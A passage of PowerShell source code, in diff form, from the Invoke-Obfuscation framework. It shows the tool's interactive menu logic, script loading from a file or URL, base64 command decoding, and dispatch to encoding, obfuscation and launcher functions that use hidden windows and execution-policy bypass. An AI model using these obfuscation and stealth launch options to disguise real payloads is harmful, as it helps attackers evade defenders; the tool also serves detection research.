, $CopyToClipboardInputOptions + $AllAvailableInputOptionsLists += , $OutputToDiskInputOptions + $AllAvailableInputOptionsLists += , $ResetObfuscationInputOptions + $AllAvailableInputOptionsLists += , $UndoObfuscationInputOptions + $AllAvailableInputOptionsLists += , $BackCommandInputOptions + $AllAvailableInputOptionsLists += , $ExitCommandInputOptions + $AllAvailableInputOptionsLists += , $HomeMenuInputOptions + # For Version 1.0 ASCII art is not necessary. + #$AllAvailableInputOptionsLists += , $ShowAsciiArtInputOptions + + # Input options to change interactive menus. + $ExitInputOptions = $ExitCommandInputOptions[0] + $MenuInputOptions = $BackCommandInputOptions[0] + + # Obligatory ASCII Art. + Show-AsciiArt + Start-Sleep -Seconds 2 + + # Show Help Menu once at beginning of script. + Show-HelpMenu + + # Main loop for user interaction. Show-Menu function displays current function along with acceptable input options (defined in arrays instantiated above). + # User input and validation is handled within Show-Menu. + $UserResponse = '' + While($ExitInputOptions -NotContains ([String]$UserResponse).ToLower()) + { + $UserResponse = ([String]$UserResponse).Trim() + + If($HomeMenuInputOptions[0] -Contains ([String]$UserResponse).ToLower()) + { + $UserResponse = '' + } + + # Display menu if it is defined in a menu variable with $UserResponse in the variable name. + If(Test-Path ('Variable:' + "MenuLevel$UserResponse")) + { + $UserResponse = Show-Menu (Get-Variable "MenuLevel$UserResponse").Value $UserResponse $Script:OptionsMenu + } + Else + { + Write-Error "The variable MenuLevel$UserResponse does not exist." + $UserResponse = 'quit' + } + + If(($UserResponse -eq 'quit') -AND $CliWasSpecified -AND !$NoExitWasSpecified) + { + Write-Output $Script:ObfuscatedCommand.Trim("`n") + $UserInput = 'quit' + } + } +} + + +# Get location of this script no matter what the current directory is for the process executing this script. +$ScriptDir = [System.IO.Path]::GetDirectoryName($myInvocation.MyCommand.Definition) + + +Function Show-Menu +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays current menu with obfuscation navigation and application options for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-Menu +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-Menu displays current menu with obfuscation navigation and application options for Invoke-Obfuscation. + +.PARAMETER Menu + +Specifies the menu options to display, with acceptable input options parsed out of this array. + +.PARAMETER MenuName + +Specifies the menu header display and the breadcrumb used in the interactive prompt display. + +.PARAMETER Script:OptionsMenu + +Specifies the script-wide variable containing additional acceptable input in addition to each menu's specific acceptable input (e.g. EXIT, QUIT, BACK, HOME, MAIN, etc.). + +.EXAMPLE + +C:\PS> Show-Menu + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + Param( + [Parameter(ValueFromPipeline = $true)] + [ValidateNotNullOrEmpty()] + [Object[]] + $Menu, + + [String] + $MenuName, + + [Object[]] + $Script:OptionsMenu + ) + + # Extract all acceptable values from $Menu. + $AcceptableInput = @() + $SelectionContainsCommand = $FALSE + ForEach($Line in $Menu) + { + # If there are 4 items in each $Line in $Menu then the fourth item is a command to exec if selected. + If($Line.Count -eq 4) + { + $SelectionContainsCommand = $TRUE + } + $AcceptableInput += ($Line[1]).Trim(' ') + } + + $UserInput = $NULL + + While($AcceptableInput -NotContains $UserInput) + { + # Format custom breadcrumb prompt. + Write-Host "`n" + $BreadCrumb = $MenuName.Trim('_') + If($BreadCrumb.Length -gt 1) + { + If($BreadCrumb.ToLower() -eq 'show options') + { + $BreadCrumb = 'Show Options' + } + If($MenuName -ne '') + { + # Handle specific case substitutions from what is ALL CAPS in interactive menu and then correct casing we want to appear in the Breadcrumb. + $BreadCrumbOCD = @() + $BreadCrumbOCD += , @('ps' ,'PS') + $BreadCrumbOCD += , @('cmd' ,'Cmd') + $BreadCrumbOCD += , @('wmic' ,'Wmic') + $BreadCrumbOCD += , @('rundll' ,'RunDll') + $BreadCrumbOCD += , @('var+' ,'Var+') + $BreadCrumbOCD += , @('stdin+' ,'StdIn+') + $BreadCrumbOCD += , @('clip+' ,'Clip+') + $BreadCrumbOCD += , @('var++' ,'Var++') + $BreadCrumbOCD += , @('stdin++' ,'StdIn++') + $BreadCrumbOCD += , @('clip++' ,'Clip++') + $BreadCrumbOCD += , @('rundll++','RunDll++') + $BreadCrumbOCD += , @('mshta++' ,'Mshta++') + $BreadCrumbOCD += , @('ast', 'AST') + + $BreadCrumbArray = @() + ForEach($Crumb in $BreadCrumb.Split('_')) + { + # Perform casing substitutions for any matches in $BreadCrumbOCD array. + $StillLookingForSubstitution = $TRUE + ForEach($Substitution in $BreadCrumbOCD) + { + If($Crumb.ToLower() -eq $Substitution[0]) + { + $BreadCrumbArray += $Substitution[1] + $StillLookingForSubstitution = $FALSE + } + } + + # If no substitution occurred above then simply upper-case the first character and lower-case all the remaining characters. + If($StillLookingForSubstitution) + { + $BreadCrumbArray += $Crumb.SubString(0,1).ToUpper() + $Crumb.SubString(1).ToLower() + + # If no substitution was found for the 3rd or later BreadCrumb element (only for Launcher BreadCrumb) then throw a warning so we can add this substitution pair to $BreadCrumbOCD. + If(($BreadCrumb.Split('_').Count -eq 2) -AND ($BreadCrumb.StartsWith('Launcher_')) -AND ($Crumb -ne 'Launcher')) + { + Write-Warning "No substituion pair was found for `$Crumb=$Crumb in `$BreadCrumb=$BreadCrumb. Add this `$Crumb substitution pair to `$BreadCrumbOCD array in Invoke-Obfuscation." + } + } + } + $BreadCrumb = $BreadCrumbArray -Join '\' + } + $BreadCrumb = '\' + $BreadCrumb + } + + # Output menu heading. + $FirstLine = "Choose one of the below " + If($BreadCrumb -ne '') + { + $FirstLine = $FirstLine + $BreadCrumb.Trim('\') + ' ' + } + Write-Host "$FirstLine" -NoNewLine + + # Change color and verbiage if selection will execute command. + If($SelectionContainsCommand) + { + Write-Host "options" -NoNewLine -ForegroundColor Green + Write-Host " to" -NoNewLine + Write-Host " APPLY" -NoNewLine -ForegroundColor Green + Write-Host " to current payload" -NoNewLine + } + Else + { + Write-Host "options" -NoNewLine -ForegroundColor Yellow + } + Write-Host ":`n" + + ForEach($Line in $Menu) + { + $LineSpace = $Line[0] + $LineOption = $Line[1] + $LineValue = $Line[2] + Write-Host $LineSpace -NoNewLine + + # If not empty then include breadcrumb in $LineOption output (is not colored and won't affect user input syntax). + If(($BreadCrumb -ne '') -AND ($LineSpace.StartsWith('['))) + { + Write-Host ($BreadCrumb.ToUpper().Trim('\') + '\') -NoNewLine + } + + # Change color if selection will execute command. + If($SelectionContainsCommand) + { + Write-Host $LineOption -NoNewLine -ForegroundColor Green + } + Else + { + Write-Host $LineOption -NoNewLine -ForegroundColor Yellow + } + + # Add additional coloring to string encapsulated by <> if it exists in $LineValue. + If($LineValue.Contains('<') -AND $LineValue.Contains('>')) + { + $FirstPart = $LineValue.SubString(0,$LineValue.IndexOf('<')) + $MiddlePart = $LineValue.SubString($FirstPart.Length+1) + $MiddlePart = $MiddlePart.SubString(0,$MiddlePart.IndexOf('>')) + $LastPart = $LineValue.SubString($FirstPart.Length+$MiddlePart.Length+2) + Write-Host "`t$FirstPart" -NoNewLine + Write-Host $MiddlePart -NoNewLine -ForegroundColor Cyan + + # Handle if more than one term needs to be output in different color. + If($LastPart.Contains('<') -AND $LastPart.Contains('>')) + { + $LineValue = $LastPart + $FirstPart = $LineValue.SubString(0,$LineValue.IndexOf('<')) + $MiddlePart = $LineValue.SubString($FirstPart.Length+1) + $MiddlePart = $MiddlePart.SubString(0,$MiddlePart.IndexOf('>')) + $LastPart = $LineValue.SubString($FirstPart.Length+$MiddlePart.Length+2) + Write-Host "$FirstPart" -NoNewLine + If($MiddlePart.EndsWith("(PS3.0+)")) + { + Write-Host $MiddlePart -NoNewline -ForegroundColor Red + } + Else + { + Write-Host $MiddlePart -NoNewLine -ForegroundColor Cyan + } + } + + Write-Host $LastPart + } + Else + { + Write-Host "`t$LineValue" + } + } + + # Prompt for user input with custom breadcrumb prompt. + Write-Host '' + If($UserInput -ne '') {Write-Host ''} + $UserInput = '' + + While(($UserInput -eq '') -AND ($Script:CompoundCommand.Count -eq 0)) + { + # Output custom prompt. + Write-Host "Invoke-Obfuscation$BreadCrumb> " -NoNewLine -ForegroundColor Magenta + + # Get interactive user input if CliCommands input variable was not specified by user. + If(($Script:CliCommands.Count -gt 0) -OR ($Script:CliCommands -ne $NULL)) + { + If($Script:CliCommands.GetType().Name -eq 'String') + { + $NextCliCommand = $Script:CliCommands.Trim() + $Script:CliCommands = @() + } + Else + { + $NextCliCommand = ([String]$Script:CliCommands[0]).Trim() + $Script:CliCommands = For($i=1; $i -lt $Script:CliCommands.Count; $i++) {$Script:CliCommands[$i]} + } + + $UserInput = $NextCliCommand + } + Else + { + # If Command was defined on command line and NoExit switch was not defined then output final ObfuscatedCommand to stdout and then quit. Otherwise continue with interactive Invoke-Obfuscation. + If($CliWasSpecified -AND ($Script:CliCommands.Count -lt 1) -AND ($Script:CompoundCommand.Count -lt 1) -AND ($Script:QuietWasSpecified -OR !$NoExitWasSpecified)) + { + If($Script:QuietWasSpecified) + { + # Remove Write-Host and Start-Sleep proxy functions so that Write-Host and Start-Sleep cmdlets will be called during the remainder of the interactive Invoke-Obfuscation session. + Remove-Item -Path Function:Write-Host + Remove-Item -Path Function:Start-Sleep + + $Script:QuietWasSpecified = $FALSE + + # Automatically run 'Show Options' so the user has context of what has successfully been executed. + $UserInput = 'show options' + $BreadCrumb = 'Show Options' + } + # -NoExit wasn't specified and -Command was, so we will output the result back in the main While loop. + If(!$NoExitWasSpecified) + { + $UserInput = 'quit' + } + } + Else + { + $UserInput = (Read-Host).Trim() + } + + # Process interactive UserInput using CLI syntax, so comma-delimited and slash-delimited commands can be processed interactively. + If(($Script:CliCommands.Count -eq 0) -AND !$UserInput.ToLower().StartsWith('set ') -AND $UserInput.Contains(',')) + { + $Script:CliCommands = $UserInput.Split(',') + + # Reset $UserInput so current While loop will be traversed once more and process UserInput command as a CliCommand. + $UserInput = '' + } + } + } + + # Trim any leading trailing slashes so it doesn't misinterpret it as a compound command unnecessarily. + $UserInput = $UserInput.Trim('/\') + + # Cause UserInput of base menu level directories to automatically work. + # The only exception is STRING if the current MenuName is _token since it can be the base menu STRING or TOKEN/STRING. + If((($MenuLevel | ForEach-Object {$_[1].Trim()}) -Contains $UserInput.Split('/\')[0]) -AND !(('string' -Contains $UserInput.Split('/\')[0]) -AND ($MenuName -eq '_token')) -AND ($MenuName -ne '')) + { + $UserInput = 'home/' + $UserInput.Trim() + } + + # If current command contains \ or / and does not start with SET or OUT then we are dealing with a compound command. + # Setting $Script:CompounCommand in below IF block. + If(($Script:CompoundCommand.Count -eq 0) -AND !$UserInput.ToLower().StartsWith('set ') -AND !$UserInput.ToLower().StartsWith('out ') -AND ($UserInput.Contains('\') -OR $UserInput.Contains('/'))) + { + $Script:CompoundCommand = $UserInput.Split('/\') + } + + # If current command contains \ or / and does not start with SET then we are dealing with a compound command. + # Parsing out next command from $Script:CompounCommand in below IF block. + If($Script:CompoundCommand.Count -gt 0) + { + $UserInput = '' + While(($UserInput -eq '') -AND ($Script:CompoundCommand.Count -gt 0)) + { + # If last compound command then it will be a string. + If($Script:CompoundCommand.GetType().Name -eq 'String') + { + $NextCompoundCommand = $Script:CompoundCommand.Trim() + $Script:CompoundCommand = @() + } + Else + { + # If there are more commands left in compound command then it won't be a string (above IF block). + # In this else block we get the next command from CompoundCommand array. + $NextCompoundCommand = ([String]$Script:CompoundCommand[0]).Trim() + + # Set remaining commands back into CompoundCommand. + $Temp = $Script:CompoundCommand + $Script:CompoundCommand = @() + For($i=1; $i -lt $Temp.Count; $i++) + { + $Script:CompoundCommand += $Temp[$i] + } + } + $UserInput = $NextCompoundCommand + } + } + + # Handle new RegEx functionality. + # Identify if there is any regex in current UserInput by removing all alphanumeric characters (and + or # which are found in launcher names). + $TempUserInput = $UserInput.ToLower() + @(97..122) | ForEach-Object {$TempUserInput = $TempUserInput.Replace([String]([Char]$_),'')} + @(0..9) | ForEach-Object {$TempUserInput = $TempUserInput.Replace($_,'')} + $TempUserInput = $TempUserInput.Replace(' ','').Replace('+','').Replace('#','').Replace('\','').Replace('/','').Replace('-','').Replace('?','') + + If(($TempUserInput.Length -gt 0) -AND !($UserInput.Trim().ToLower().StartsWith('set ')) -AND !($UserInput.Trim().ToLower().StartsWith('out '))) + { + # Replace any simple wildcard with .* syntax. + $UserInput = $UserInput.Replace('.*','_____').Replace('*','.*').Replace('_____','.*') + + # Prepend UserInput with ^ and append with $ if not already there. + If(!$UserInput.Trim().StartsWith('^') -AND !$UserInput.Trim().StartsWith('.*')) + { + $UserInput = '^' + $UserInput + } + If(!$UserInput.Trim().EndsWith('$') -AND !$UserInput.Trim().EndsWith('.*')) + { + $UserInput = $UserInput + '$' + } + + # See if there are any filtered matches in the current menu. + Try + { + $MenuFiltered = ($Menu | Where-Object {($_[1].Trim() -Match $UserInput) -AND ($_[1].Trim().Length -gt 0)} | ForEach-Object {$_[1].Trim()}) + } + Catch + { + # Output error message if Regular Expression causes error in above filtering step. + # E.g. Using *+ instead of *[+] + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' The current Regular Expression caused the following error:' + write-host " $_" -ForegroundColor Red + } + + # If there are filtered matches in the current menu then randomly choose one for the UserInput value. + If($MenuFiltered -ne $NULL) + { + # Randomly select UserInput from filtered options. + $UserInput = (Get-Random -Input $MenuFiltered).Trim() + + # Output randomly chosen option (and filtered options selected from) if more than one option were returned from regex. + If($MenuFiltered.Count -gt 1) + { + # Change color and verbiage if acceptable options will execute an obfuscation function. + If($SelectionContainsCommand) + { + $ColorToOutput = 'Green' + } + Else + { + $ColorToOutput = 'Yellow' + } + + Write-Host "`n`nRandomly selected " -NoNewline + Write-Host $UserInput -NoNewline -ForegroundColor $ColorToOutput + write-host " from the following filtered options: " -NoNewline + + For($i=0; $i -lt $MenuFiltered.Count-1; $i++) + { + Write-Host $MenuFiltered[$i].Trim() -NoNewLine -ForegroundColor $ColorToOutput + Write-Host ', ' -NoNewLine + } + Write-Host $MenuFiltered[$MenuFiltered.Count-1].Trim() -NoNewLine -ForegroundColor $ColorToOutput + } + } + } + + # If $UserInput is all numbers and is in a menu in $MenusWithMultiSelectNumbers + $OverrideAcceptableInput = $FALSE + $MenusWithMultiSelectNumbers = @('\Launcher') + If(($UserInput.Trim(' 0123456789').Length -eq 0) -AND $BreadCrumb.Contains('\') -AND ($MenusWithMultiSelectNumbers -Contains $BreadCrumb.SubString(0,$BreadCrumb.LastIndexOf('\')))) + { + $OverrideAcceptableInput = $TRUE + } + + If($ExitInputOptions -Contains $UserInput.ToLower()) + { + Return $ExitInputOptions[0] + } + ElseIf($MenuInputOptions -Contains $UserInput.ToLower()) + { + # Commands like 'back' that will return user to previous interactive menu. + If($BreadCrumb.Contains('\')) {$UserInput = $BreadCrumb.SubString(0,$BreadCrumb.LastIndexOf('\')).Replace('\','_')} + Else {$UserInput = ''} + + Return $UserInput.ToLower() + } + ElseIf($HomeMenuInputOptions[0] -Contains $UserInput.ToLower()) + { + Return $UserInput.ToLower() + } + ElseIf($UserInput.ToLower().StartsWith('set ')) + { + # Extract $UserInputOptionName and $UserInputOptionValue from $UserInput SET command. + $UserInputOptionName = $NULL + $UserInputOptionValue = $NULL + $HasError = $FALSE + + $UserInputMinusSet = $UserInput.SubString(4).Trim() + If($UserInputMinusSet.IndexOf(' ') -eq -1) + { + $HasError = $TRUE + $UserInputOptionName = $UserInputMinusSet.Trim() + } + Else + { + $UserInputOptionName = $UserInputMinusSet.SubString(0,$UserInputMinusSet.IndexOf(' ')).Trim().ToLower() + $UserInputOptionValue = $UserInputMinusSet.SubString($UserInputMinusSet.IndexOf(' ')).Trim() + } + + # Validate that $UserInputOptionName is defined in $SettableInputOptions. + If($SettableInputOptions -Contains $UserInputOptionName) + { + # Perform separate validation for $UserInputOptionValue before setting value. Set to 'emptyvalue' if no value was entered. + If($UserInputOptionValue.Length -eq 0) {$UserInputOptionName = 'emptyvalue'} + Switch($UserInputOptionName.ToLower()) + { + 'scriptpath' { + If($UserInputOptionValue -AND ((Test-Path $UserInputOptionValue) -OR ($UserInputOptionValue -Match '(http|https)://'))) + { + # Reset ScriptBlock in case it contained a value. + $Script:ScriptBlock = '' + + # Check if user-input ScriptPath is a URL or a directory. + If($UserInputOptionValue -Match '(http|https)://') + { + # ScriptPath is a URL. + + # Download content. + $Script:ScriptBlock = (New-Object Net.WebClient).DownloadString($UserInputOptionValue) + + # Set script-wide variables for future reference. + $Script:ScriptPath = $UserInputOptionValue + $Script:ObfuscatedCommand = $Script:ScriptBlock + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscatedCommandHistory += $Script:ScriptBlock + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:LauncherApplied = $FALSE + + Write-Host "`n`nSuccessfully set ScriptPath (as URL):" -ForegroundColor Cyan + Write-Host $Script:ScriptPath -ForegroundColor Magenta + } + ElseIf ((Get-Item $UserInputOptionValue) -is [System.IO.DirectoryInfo]) + { + # ScriptPath does not exist. + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' Path is a directory instead of a file (' -NoNewLine + Write-Host "$UserInputOptionValue" -NoNewLine -ForegroundColor Cyan + Write-Host ").`n" -NoNewLine + } + Else + { + # Read contents from user-input ScriptPath value. + Get-ChildItem $UserInputOptionValue -ErrorAction Stop | Out-Null + $Script:ScriptBlock = [IO.File]::ReadAllText((Resolve-Path $UserInputOptionValue)) + + # Set script-wide variables for future reference. + $Script:ScriptPath = $UserInputOptionValue + $Script:ObfuscatedCommand = $Script:ScriptBlock + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscatedCommandHistory += $Script:ScriptBlock + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:LauncherApplied = $FALSE + + Write-Host "`n`nSuccessfully set ScriptPath:" -ForegroundColor Cyan + Write-Host $Script:ScriptPath -ForegroundColor Magenta + } + } + Else + { + # ScriptPath not found (failed Test-Path). + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' Path not found (' -NoNewLine + Write-Host "$UserInputOptionValue" -NoNewLine -ForegroundColor Cyan + Write-Host ").`n" -NoNewLine + } + } + 'scriptblock' { + # Remove evenly paired {} '' or "" if user includes it around their scriptblock input. + ForEach($Char in @(@('{','}'),@('"','"'),@("'","'"))) + { + While($UserInputOptionValue.StartsWith($Char[0]) -AND $UserInputOptionValue.EndsWith($Char[1])) + { + $UserInputOptionValue = $UserInputOptionValue.SubString(1,$UserInputOptionValue.Length-2).Trim() + } + } + + # Check if input is PowerShell encoded command syntax so we can decode for scriptblock. + If($UserInputOptionValue -Match 'powershell(.exe | )\s*-(e |ec |en |enc |enco |encod |encode)\s*["'']*[a-z=]') + { + # Extract encoded command. + $EncodedCommand = $UserInputOptionValue.SubString($UserInputOptionValue.ToLower().IndexOf(' -e')+3) + $EncodedCommand = $EncodedCommand.SubString($EncodedCommand.IndexOf(' ')).Trim(" '`"") + + # Decode Unicode-encoded $EncodedCommand + $UserInputOptionValue = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedCommand)) + } + + # Set script-wide variables for future reference. + $Script:ScriptPath = 'N/A' + $Script:ScriptBlock = $UserInputOptionValue + $Script:ObfuscatedCommand = $UserInputOptionValue + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscatedCommandHistory += $UserInputOptionValue + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:LauncherApplied = $FALSE + + Write-Host "`n`nSuccessfully set ScriptBlock:" -ForegroundColor Cyan + Write-Host $Script:ScriptBlock -ForegroundColor Magenta + } + 'emptyvalue' { + # No OPTIONVALUE was entered after OPTIONNAME. + $HasError = $TRUE + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' No value was entered after' -NoNewLine + Write-Host ' SCRIPTBLOCK/SCRIPTPATH' -NoNewLine -ForegroundColor Cyan + Write-Host '.' -NoNewLine + } + default {Write-Error "An invalid OPTIONNAME ($UserInputOptionName) was passed to switch block."; Exit} + } + } + Else + { + $HasError = $TRUE + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' OPTIONNAME' -NoNewLine + Write-Host " $UserInputOptionName" -NoNewLine -ForegroundColor Cyan + Write-Host " is not a settable option." -NoNewLine + } + + If($HasError) + { + Write-Host "`n Correct syntax is" -NoNewLine + Write-Host ' SET OPTIONNAME VALUE' -NoNewLine -ForegroundColor Green + Write-Host '.' -NoNewLine + + Write-Host "`n Enter" -NoNewLine + Write-Host ' SHOW OPTIONS' -NoNewLine -ForegroundColor Yellow + Write-Host ' for more details.' + } + } + ElseIf(($AcceptableInput -Contains $UserInput) -OR ($OverrideAcceptableInput)) + { + # User input matches $AcceptableInput extracted from the current $Menu, so decide if: + # 1) an obfuscation function needs to be called and remain in current interactive prompt, or + # 2) return value to enter into a new interactive prompt. + + # Format breadcrumb trail to successfully retrieve the next interactive prompt. + $UserInput = $BreadCrumb.Trim('\').Replace('\','_') + '_' + $UserInput + If($BreadCrumb.StartsWith('\')) {$UserInput = '_' + $UserInput} + + # If the current selection contains a command to execute then continue. Otherwise return to go to another menu. + If($SelectionContainsCommand) + { + # Make sure user has entered command or path to script. + If($Script:ObfuscatedCommand -ne $NULL) + { + # Iterate through lines in $Menu to extract command for the current selection in $UserInput. + ForEach($Line in $Menu) + { + If($Line[1].Trim(' ') -eq $UserInput.SubString($UserInput.LastIndexOf('_')+1)) {$CommandToExec = $Line[3]; Continue} + } + + If(!$OverrideAcceptableInput) + { + # Extract arguments from $CommandToExec. + $Function = $CommandToExec[0] + $Token = $CommandToExec[1] + $ObfLevel = $CommandToExec[2] + } + Else + { + # Overload above arguments if $OverrideAcceptableInput is $TRUE, and extract $Function from $BreadCrumb + Switch($BreadCrumb.ToLower()) + { + '\launcher\ps' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 1} + '\launcher\cmd' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 2} + '\launcher\wmic' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 3} + '\launcher\rundll' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 4} + '\launcher\var+' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 5} + '\launcher\stdin+' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 6} + '\launcher\clip+' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 7} + '\launcher\var++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 8} + '\launcher\stdin++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 9} + '\launcher\clip++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 10} + '\launcher\rundll++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 11} + '\launcher\mshta++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 12} + default {Write-Error "An invalid value ($($BreadCrumb.ToLower())) was passed to switch block for setting `$Function when `$OverrideAcceptableInput -eq `$TRUE."; Exit} + } + # Extract $ObfLevel from first element in array (in case 0th element is used for informational purposes), and extract $Token from $BreadCrumb. + $ObfLevel = $Menu[1][3][2] + $Token = $UserInput.SubString($UserInput.LastIndexOf('_')+1) + } + + # Convert ObfuscatedCommand (string) to ScriptBlock for next obfuscation function. + If(!($Script:LauncherApplied)) + { + $ObfCommandScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock($Script:ObfuscatedCommand) + } + + # Validate that user has set SCRIPTPATH or SCRIPTBLOCK (by seeing if $Script:ObfuscatedCommand is empty). + If($Script:ObfuscatedCommand -eq '') + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " Cannot execute obfuscation commands without setting ScriptPath or ScriptBlock values in SHOW OPTIONS menu. Set these by executing" -NoNewLine + Write-Host ' SET SCRIPTBLOCK script_block_or_command' -NoNewLine -ForegroundColor Green + Write-Host ' or' -NoNewLine + Write-Host ' SET SCRIPTPATH path_to_script_or_URL' -NoNewLine -ForegroundColor Green + Write-Host '.' + Continue + } + + # Save current ObfuscatedCommand to see if obfuscation was successful (i.e. no warnings prevented obfuscation from occurring). + $ObfuscatedCommandBefore = $Script:ObfuscatedCommand + $CmdToPrint = $NULL + If($Function -eq 'Out-ObfuscatedAst' -AND $PSVersionTable.PSVersion.Major -lt 3) + { + $AstPS3ErrorMessage = "AST obfuscation can only be used with PS3.0+. Update to PS3.0 or higher to use AST obfuscation." + If ($Script:QuietWasSpecified) + { + Write-Error $AstPS3ErrorMessage + } + Else + { + Write-Host "`n`nERROR: " -NoNewLine -ForegroundColor Red + Write-Host $AstPS3ErrorMessage -NoNewLine + } + } + ElseIf($Script:LauncherApplied) + { + If($Function -eq 'Out-PowerShellLauncher') + { + $ErrorMessage = ' You have already applied a launcher to ObfuscatedCommand.' + } + Else + { + $ErrorMessage = ' You cannot obfuscate after applying a Launcher to ObfuscatedCommand.' + } + + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host $ErrorMessage -NoNewLine + Write-Host "`n Enter" -NoNewLine + Write-Host ' UNDO' -NoNewLine -ForegroundColor Yellow + Write-Host " to remove the launcher from ObfuscatedCommand.`n" -NoNewLine + } + Else + { + # Switch block to route to the correct function. + Switch($Function) + { + 'Out-ObfuscatedTokenCommand' { + $Script:ObfuscatedCommand = Out-ObfuscatedTokenCommand -ScriptBlock $ObfCommandScriptBlock $Token $ObfLevel + $CmdToPrint = @("Out-ObfuscatedTokenCommand -ScriptBlock "," '$Token' $ObfLevel") + } + 'Out-ObfuscatedTokenCommandAll' { + $Script:ObfuscatedCommand = Out-ObfuscatedTokenCommand -ScriptBlock $ObfCommandScriptBlock + $CmdToPrint = @("Out-ObfuscatedTokenCommand -ScriptBlock ","") + } + 'Out-ObfuscatedAst' { + $Script:ObfuscatedCommand = Out-ObfuscatedAst -ScriptBlock $ObfCommandScriptBlock -AstTypesToObfuscate $Token + $CmdToPrint = @("Out-ObfuscatedAst -ScriptBlock ","") + } + 'Out-ObfuscatedStringCommand' { + $Script:ObfuscatedCommand = Out-ObfuscatedStringCommand -ScriptBlock $ObfCommandScriptBlock $ObfLevel + $CmdToPrint = @("Out-ObfuscatedStringCommand -ScriptBlock "," $ObfLevel") + } + 'Out-EncodedAsciiCommand' { + $Script:ObfuscatedCommand = Out-EncodedAsciiCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedAsciiCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedHexCommand' { + $Script:ObfuscatedCommand = Out-EncodedHexCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedHexCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedOctalCommand' { + $Script:ObfuscatedCommand = Out-EncodedOctalCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedOctalCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedBinaryCommand' { + $Script:ObfuscatedCommand = Out-EncodedBinaryCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedBinaryCommand -ScriptBlock "," -PassThru") + } + 'Out-SecureStringCommand' { + $Script:ObfuscatedCommand = Out-SecureStringCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-SecureStringCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedBXORCommand' { + $Script:ObfuscatedCommand = Out-EncodedBXORCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedBXORCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedSpecialCharOnlyCommand' { + $Script:ObfuscatedCommand = Out-EncodedSpecialCharOnlyCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedSpecialCharOnlyCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedWhitespaceCommand' { + $Script:ObfuscatedCommand = Out-EncodedWhitespaceCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedWhitespaceCommand -ScriptBlock "," -PassThru") + } + 'Out-CompressedCommand' { + $Script:ObfuscatedCommand = Out-CompressedCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-CompressedCommand -ScriptBlock "," -PassThru") + } + 'Out-PowerShellLauncher' { + # Extract numbers from string so we can output proper flag syntax in ExecutionCommands history. + $SwitchesAsStringArray = [char[]]$Token | Sort-Object -Unique | Where-Object {$_ -ne ' '} + + If($SwitchesAsStringArray -Contains '0') + { + $CmdToPrint = @("Out-PowerShellLauncher -ScriptBlock "," $ObfLevel") + } + Else + { + $HasWindowStyle = $FALSE + $SwitchesToPrint = @() + ForEach($Value in $SwitchesAsStringArray) + { + Switch($Value) + { + 1 {$SwitchesToPrint += '-NoExit'} + 2 {$SwitchesToPrint += '-NonInteractive'} + 3 {$SwitchesToPrint += '-NoLogo'} + 4 {$SwitchesToPrint += '-NoProfile'} + 5 {$SwitchesToPrint += '-Command'} + 6 {If(!$HasWindowStyle) {$SwitchesToPrint += '-WindowStyle Hidden'; $HasWindowStyle = $TRUE}} + 7 {$SwitchesToPrint += '-ExecutionPolicy Bypass'} + 8 {$SwitchesToPrint += '-Wow64'} + default {Write-Error "An invalid `$SwitchesAsString value ($Value) was passed to switch block."; Exit;} + } + } + $SwitchesToPrint = $SwitchesToPrint -Join ' ' + $CmdToPrint = @("Out-PowerShellLauncher -ScriptBlock "," $SwitchesToPrint $ObfLevel") + } + + $Script:ObfuscatedCommand = Out-PowerShellLauncher -ScriptBlock $ObfCommandScriptBlock -SwitchesAsString $Token 